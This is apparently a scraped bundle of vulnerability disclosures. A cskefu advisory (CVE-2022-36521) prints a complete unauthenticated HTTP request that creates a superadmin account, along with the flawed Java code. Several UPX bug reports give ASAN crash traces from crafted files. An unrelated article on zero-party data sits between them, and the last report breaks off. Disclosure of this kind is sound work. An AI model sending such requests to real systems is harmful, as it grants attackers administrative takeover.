Insecure permissions in cskefu v7.0.1 allows unauthenticated attackers to arbitrarily add administrator accounts.

**概述**

存在添加管理员接口，调用该接口时没有对当前用户进行校验，导致未登录状态下可添加管理员账户。  
There is an interface to add an administrator. When calling this interface, the current user is not verified, so that an administrator account can be added when not logged in.

**数据包（payload）：**

GET /addAdmin?username\=admin666&password\=admin666123&email\=admin666@admin6666.com&mobile\=17777777776&superadmin\=true HTTP/1.1
Host: localhost
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,\*/\*;q\=0.8
Accept\-Language: zh\-CN,zh;q\=0.8,zh\-TW;q\=0.7,zh\-HK;q\=0.5,en\-US;q\=0.3,en;q\=0.2
Accept\-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade\-Insecure\-Requests: 1
Sec\-Fetch\-Dest: document
Sec\-Fetch\-Mode: navigate
Sec\-Fetch\-Site: none
Sec\-Fetch\-User: ?1
Cache\-Control: max\-age\=0

\*\* 测试截图（Test screenshot）： \*\*  

根据给出的URL  
According to the given URL  
http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on

跳转至管理界面  
Jump to the management interface  

**漏洞分析（Vulnerability analysis）**  
漏洞源码（Vulnerability source code）：

 @RequestMapping("/addAdmin")
    @Menu(type = "apps", subtype = "user", access = true)
    public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User user) {
        String msg = "";
        msg = validUser(user);
        if (StringUtils.isNotBlank(msg)) {
            return request(super.createView("redirect:/register.html?msg=" + msg));
        } else {
            user.setUname(user.getUsername());
            user.setAdmin(true);
            if (StringUtils.isNotBlank(user.getPassword())) {
                user.setPassword(MainUtils.md5(user.getPassword()));
            }
            user.setOrgi(super.getOrgi());
            userRepository.save(user);
        }
        ModelAndView view = this.processLogin(request, user, "");
        return view;
    }

    private String validUser(User user) {
        String msg = "";
        User tempUser = userRepository.findByUsernameAndDatastatus(user.getUsername(), false);
        if (tempUser != null) {
            msg = "username\_exist";
            return msg;
        }
        tempUser = userRepository.findByEmailAndDatastatus(user.getEmail(), false);
        if (tempUser != null) {
            msg = "email\_exist";
            return msg;
        }
        tempUser = userRepository.findByMobileAndDatastatus(user.getMobile(), false);
        if (tempUser != null) {
            msg = "mobile\_exist";
            return msg;
        }
        return msg;
    }

addAdmin接口未进行权限校验，未登录状态可直接调用  
The addadmin interface does not perform permission verification, and can be called directly in the unregistered state

增加用户前，判断传入的用户是否有效  
Before adding users, judge whether the incoming users are valid  

为了顺利到达最后一个return，传入的username，email，mobile都必须为数据库中的唯一值  
n order to successfully reach the last return, the username, email and mobile passed in must be unique values in the database  

当返回的msg为空时，我们就可以继续增加用户的操作，且将添加的用户设置为管理员  
When the returned MSG is empty, we can continue to add users and set the added users as administrators  

**操作系统**

*   macOS or Mac OSX
*   Windows
*   Linux(Debian, CentOS, Ubuntu, etc.)

**代码版本**

代码版本 <= 7.0.1

**祝福与不祝福**

春松客服之所以开源，是基于这样一种信念：爱人也是爱己，利他也是利己。  
对人和人美好关系的向往，对人潜力的信任。让我们相信因春松客服而受益的人，会回报给春松客服开源社区，我们所有贡献者基于共赢的信念合作。  
回报方式包括：提交 PR、购买春松客服相关的付费产品和服务等。

因春松客服受益，而不回报开源社区的用户，我们不欢迎使用春松客服：我们开源并不是为了你们，你们是不被祝福的。

**Open Source for the World**

CVE-2022-36521: 【安全漏洞】前台未授权增加管理员账号 · Issue #724 · chatopera/cskefu

Consumers gain control of their data while companies build better relationships with their customers — but third-party ad-tech firms will likely continue to stand in the way.

For more than two decades, the economic advantages of third-party firms' collection of information on consumers stymied technologists' dreams of giving people more control over their data and inhibiting the collection of personal information.

Now, faced with increasing privacy regulations and penalties, public agencies and private-sector businesses are leaning into the concept of "no-party data" — information shared by the consumer directly with a company with which they have a relationship that can still be used to personalize their experience. As a result, technology firms and academic researchers are developing data architectures to support no-party data technologies while giving control — and more data security — to the consumer.

Sometimes called "zero-party data," the no-party data movement has gained traction because of the consumer pushback against third-party advertising-technology firms, which often collect data against the consumer's wishes, says Ant Phillips, chief technology officer for Celebrus, which announced its no-party solution earlier this month.

"Third-party data collection and data sharing is not something that consumers ever signed up for — they did not wake up and say, 'I want to share my data with lots of companies,'" he says. "The business case \[for no-party data\] is around brands wanting to do the right thing for consumers because most consumers do not have a problem trusting certain brands, but they don't want to spread their data all around the Internet."

**The Struggle Is Real**

Giving consumers control over what information is collected about them has been a long struggle. In the late 1990s, pro-privacy firm Zero Knowledge Systems attempted to create a certificate-based system that could attest to certain consumer attributes — such as being an adult — without the need for personal identification. In 2008, Microsoft pursued the technology in its U-Prove system, after acquiring the company Credentica, which was founded by Stefan Brands, a former ZKS cryptographer.

For the most part, those technologies could not compete with the business success of ad-tech firms using third-party cookies.

The result is that privacy-conscious consumers actively fight against cookie tracking, and policymakers and browser developers have followed suit. In 2017, Apple announced its Intelligent Tracking Prevention, which would block tracking through third-party cookies, much to the consternation of advertisers. Since 2018, the European Union has required advertisers to get users' consent to use third-party cookies. And in 2019, Mozilla announced that its Firefox browser would block third-party cookies; Google followed suit, pledging to phase out third-party cookies in 2023. Facing low opt-in rates, companies have resorted to the deceptive design of the dialog boxes that ask users to consent to using their data.

With significant resistance to data collection, companies have focused on engaging with consumers. No-party data — which analyst firm Forrester Research calls "zero-party data" — is information collected directly from the consumer. It is typically collected through preference settings or micro-experiences, where a product maker or service provider will directly ask a consumer about their habits.

Zero-party data is the future, says Stephanie Liu, an analyst with Forrester Research.

"​The principles of zero-party data are going to be the foundation of data collection moving forward: transparent, consented, and provides value back to the consumer," she says. "Brands are historically terrible at asking consumers for data. ... But as consumer data gets harder to acquire, companies need to invest in the strategy and tech of what they're going to ask of consumers, how, and what benefit they'll deliver in return."

**'Creepy' Targeted Advertising**

The battle between advertising firms and privacy advocates often centers around tracking of citizens across websites. While tracking people through their real life is usually prohibited, large online ad-tech firms are able to effectively stalk consumers across the Internet. Currently, more than 80% of US citizens believe they lack control of the data collected about them by companies and the government, and they believe that businesses collecting data poses risks that outweigh the benefits, according to a survey by the Pew Research Center.

A significant part of the problem is that, despite the data collection, advertising either seems to miss the target or is so accurate that it's borderline creepy. In addition, ad-tech firms often catch behavior that has nothing to do with consumer buying intentions or habits, and they often use information in ways consumers would not approve. Policymakers have recognized the unintentional privacy costs of the third-party data market, passing regulations such as the General Data Protection Regulation (GDPR) in Europe and the California Consumer Protection Act (CCPA) and similar legislation in the United States.

For all these reasons, the third-party data model is broken, argues Celebrus' Philips. Consumers do not want to be tracked, and the slight benefit of ad-tech firms' capability to tailor marketing is greatly outweighed by the privacy risks posed by the technology and the fact that advertising firms' predictions of consumers' interests are often not accurate.

"From an economics view, the whole model is wasted capital — it's an economic waste," he says. "One misplaced ad is not going to break the bank, but in aggregate it is inefficient."

With no-party data, the consumer offers up information about themselves. Yet they still want to retain control of the data. Otherwise, they have no guarantee that the third-party companies will not use that data in ways that were not intended.

Technology firms have started offering solutions to allow personalization while giving the consumer control of their data. Celebrus' system, for example, stores information in local storage, allowing the consumer to retain control, and does all personalization and processing on the user's machine. On its face, the technology resembles Solid, a project created in a collaboration between Web progenitor Tim Berners-Lee and the Massachusetts Institute of Technology, which allows users to create virtual data "pods" on their systems that they can give trusted companies access to in a granular way, says John Bruce, co-founder and CEO of Inrupt, which is commercializing the technology.

"Solid allows people to make themselves known to providers without losing control of data," he says. "Businesses are truly beginning to understand that they can better service the customer if they retain their trust and allow them to keep control of their data."

**Consumers Want Personalization**

Ad-tech firms will not go away, but they will likely have less access to consumer data. Delivering personalization to consumers while at the same time limiting the collection of data will be the future, according to analyst firm McKinsey & Co., which found that 71% of consumers expect a personalized experience. Companies that excel at delivering that experience typically see 40% more profits on those services, the firm found.

The result will be that advertising will be less targeted but closer to what consumers want and with less of what we have today — annoying, creepy, and harmful uses of data, says Forrester's Liu.

"\[I\]t's not just the shoes you already purchased that still follow you across the Internet, but \[advertisements targeting\] those who've lost their pregnancies and can't opt out of baby ads," Liu says. "A big part of why we're here — with Apple releasing new privacy features, a quickly evolving privacy regulatory landscape, and rising consumer awareness — is because we've creeped out consumers, and they are fed up."

'No-Party' Data Architectures Promise More Control, Better Security

An floating point exception was discovered in the elf_lookup function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Floating point exception was found in PackLinuxElf32::elf\_lookup of p\_lx\_elf.cpp (the latest commit of the devel branch)

through debugging，because of div 0

    ────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
     ► 0x44d810    div    dword ptr [rbp - 0xe8]
        ↓
     ► 0x44d810    div    dword ptr [rbp - 0xe8]
    
    
    
    
    ────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
       5395 {
       5396     if (hashtab && dynsym && dynstr) {
       5397         unsigned const nbucket = get_te32(&hashtab[0]);
       5398         unsigned const *const buckets = &hashtab[2];
       5399         unsigned const *const chains = &buckets[nbucket];
     ► 5400         unsigned const m = elf_hash(name) % nbucket;
       5401         if (!nbucket
       5402         ||  (unsigned)(file_size - ((char const *)buckets - (char const *)(void const *)file_image))
       5403                 <= sizeof(unsigned)*nbucket ) {
       5404             char msg[80]; snprintf(msg, sizeof(msg),
       5405                 "bad nbucket %#x\n", nbucket);
    ────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
    00:0000│ rsp  0x7fffffffd2c0 —▸ 0x4e4017 ◂— pop    r15 /* 'JNI_OnLoad' */
    01:0008│      0x7fffffffd2c8 —▸ 0x817030 —▸ 0x53f580 ◂— add    byte ptr [rax], al
    02:0010│      0x7fffffffd2d0 —▸ 0x7fffffffd2f0 —▸ 0x7fffffffd310 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3c0 ◂— ...
    03:0018│      0x7fffffffd2d8 ◂— 0x0
    04:0020│      0x7fffffffd2e0 —▸ 0x817884 ◂— 0x1200
    05:0028│      0x7fffffffd2e8 —▸ 0x804fd8 (N_BELE_RTP::le_policy) —▸ 0x5e5be8 —▸ 0x4b8d50 (N_BELE_RTP::LEPolicy::~LEPolicy()) ◂— push   rbp
    06:0030│      0x7fffffffd2f0 —▸ 0x7fffffffd310 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3c0 —▸ 0x7fffffffd410 ◂— ...
    07:0038│      0x7fffffffd2f8 —▸ 0x4507b8 ◂— leave
    ──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
     ► f 0           44d810
       f 1           4377de PackLinuxElf32::PackLinuxElf32help1(InputFile*)+1632
       f 2           450a5b PackLinuxElf32Le::PackLinuxElf32Le(InputFile*)+79
       f 3           44b371 PackLinuxElf32x86::PackLinuxElf32x86(InputFile*)+35
       f 4           44b47b PackBSDElf32x86::PackBSDElf32x86(InputFile*)+35
       f 5           44b533 PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*)+35
       f 6           49a936
       f 7           49c2be PackMaster::getUnpacker(InputFile*)+40
       f 8           49c362 PackMaster::unpack(OutputFile*)+32
       f 9           4b9272
       f 10           4b9663
    Program received signal SIGFPE
    pwndbg> x /gx  $rbp - 0xe8
    0x7fffffffd2d8:	0x0000000000000000
    

ASAN reports:

    ==5426==ERROR: AddressSanitizer: FPE on unknown address 0x0000005d93dc (pc 0x0000005d93dc bp 0x7fffd6ee8580 sp 0x7fffd6ee8200 T0)
        #0 0x5d93dc in PackLinuxElf32::elf_lookup(char const*) const /src/upx-multi/src/p_lx_elf.cpp:5400:43
        #1 0x588c27 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:318:26
        #2 0x5d5e74 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #3 0x5d5e74 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4838:54
        #4 0x5d6261 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4855:50
        #5 0x5d6261 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4866:58
        #6 0x6e4460 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:190:9
        #7 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #8 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #9 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #10 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #11 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #12 0x7f999579b83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #13 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: FPE /src/upx-multi/src/p_lx_elf.cpp:5400:43 in PackLinuxElf32::elf_lookup(char const*) const
    ==5426==ABORTING
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

upx.out -d <poc\_filename>

poc:  
tests\_1119229d81ae333c2b95061a6d3ab57e09049c74\_.tar.gz

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27802: Floating point exception in PackLinuxElf32::elf_lookup · Issue #393 · upx/upx

A heap-based buffer over-read was discovered in the get_le64 function in bele.h in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

A heap buffer overflow read in the latest commit of the devel branch

ASAN reports:

    ==4525==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fab6ae5cdd8 at pc 0x000000757297 bp 0x7fff2d255a60 sp 0x7fff2d255a58
    READ of size 8 at 0x7fab6ae5cdd8 thread T0
        #0 0x757296 in get_le64(void const*) /src/upx-multi/src/./bele.h:182:12
        #1 0x757296 in N_BELE_RTP::LEPolicy::get64(void const*) const /src/upx-multi/src/./bele_policy.h:194:18
        #2 0x5d0419 in Packer::get_te64(void const*) const /src/upx-multi/src/./packer.h:297:65
        #3 0x5d0419 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4603:43
        #4 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #5 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #6 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #7 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #8 0x7fab6992783f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #9 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x7fab6ae5cdd8 is located 0 bytes to the right of 132568-byte region [0x7fab6ae3c800,0x7fab6ae5cdd8)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x5697b7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:182:12 in get_le64(void const*)
    Shadow bytes around the buggy address:
      0x0ff5ed5c3960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c39a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0ff5ed5c39b0: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa
      0x0ff5ed5c39c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c3a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==4525==ABORTING
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

upx.out -d <poc\_filename>

poc:  
tests\_a7c92caa967187b16a8927c29de0efee0d1f2ed5\_.tar.gz

    $ ./src/upx.out -d ./tests_a7c92caa967187b16a8927c29de0efee0d1f2ed5_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27801: Heap buffer overflow in get_le64() · Issue #394 · upx/upx

A heap-based buffer over-read was discovered in the invert_pt_dynamic function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

    ==21202==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000c530 at pc 0x00000058b076 bp 0x7ffdc9ecf670 sp 0x7ffdc9ecf668
    READ of size 4 at 0x62f00000c530 thread T0
        #0 0x58b075 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) /src/upx-multi/src/p_lx_elf.cpp:1676:25
        #1 0x588959 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:305:13
        #2 0x5d5e74 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #3 0x5d5e74 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4838:54
        #4 0x5d6261 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4855:50
        #5 0x5d6261 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4866:58
        #6 0x6e4460 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:190:9
        #7 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #8 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #9 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #10 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #11 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #12 0x7efe5d03d83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #13 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x62f00000c532 is located 0 bytes to the right of 49458-byte region [0x62f000000400,0x62f00000c532)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x569797 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/p_lx_elf.cpp:1676:25 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*)
    Shadow bytes around the buggy address:
      0x0c5e7fff9850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5e7fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5e7fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5e7fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c5e7fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c5e7fff98a0: 00 00 00 00 00 00[02]fa fa fa fa fa fa fa fa fa
      0x0c5e7fff98b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5e7fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5e7fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5e7fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c5e7fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==21202==ABORTING
    

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t

CVE-2020-27796: Heap buffer overflow in PackLinuxElf32::invert_pt_dynamic · Issue #392 · upx/upx

A heap-based buffer over-read was discovered in the acc_ua_get_be32 function in miniacc.h in UPX 4.0.0 via a crafted Mach-O file.

    ==21053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000014bb at pc 0x000000755961 bp 0x7ffe38d0c080 sp 0x7ffe38d0c078
    READ of size 1 at 0x6160000014bb thread T0
        #0 0x755960 in acc_ua_get_be32(void const*) /src/upx-multi/src/./miniacc.h:6099:12
        #1 0x755960 in get_be32(void const*) /src/upx-multi/src/./bele.h:78:12
        #2 0x755960 in N_BELE_RTP::BEPolicy::get32(void const*) const /src/upx-multi/src/./bele_policy.h:115:18
        #3 0x58a254 in Packer::get_te32(void const*) const /src/upx-multi/src/./packer.h:296:65
        #4 0x58a254 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) /src/upx-multi/src/p_lx_elf.cpp:1601:32
        #5 0x588959 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:305:13
        #6 0x5d70d4 in PackLinuxElf32Be::PackLinuxElf32Be(InputFile*) /src/upx-multi/src/./p_lx_elf.h:385:9
        #7 0x5d70d4 in PackLinuxElf32armBe::PackLinuxElf32armBe(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4969:58
        #8 0x6e50c0 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:196:9
        #9 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #10 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #11 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #12 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #13 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #14 0x7fcbbeced83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #15 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x6160000014bb is located 4 bytes to the right of 567-byte region [0x616000001280,0x6160000014b7)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x569797 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./miniacc.h:6099:12 in acc_ua_get_be32(void const*)
    Shadow bytes around the buggy address:
      0x0c2c7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c2c7fff8290: 00 00 00 00 00 00 07[fa]fa fa fa fa fa fa fa fa
      0x0c2c7fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==21053==ABORTING
    
    

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t

CVE-2020-27799: Heap buffer overflow in acc_ua_get_be32() · Issue #391 · upx/upx

A heap-based buffer over-read was discovered in the get_le32 function in bele.h in UPX 4.0.0 via a crafted Mach-O file.

    ==5614==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x624000007da0 at pc 0x000000757233 bp 0x7ffe125eb8e0 sp 0x7ffe125eb8d8
    READ of size 4 at 0x624000007da0 thread T0
        #0 0x757232 in get_le32(void const*) /src/upx-multi/src/./bele.h:164:12
        #1 0x757232 in N_BELE_RTP::LEPolicy::get32(void const*) const /src/upx-multi/src/./bele_policy.h:192:18
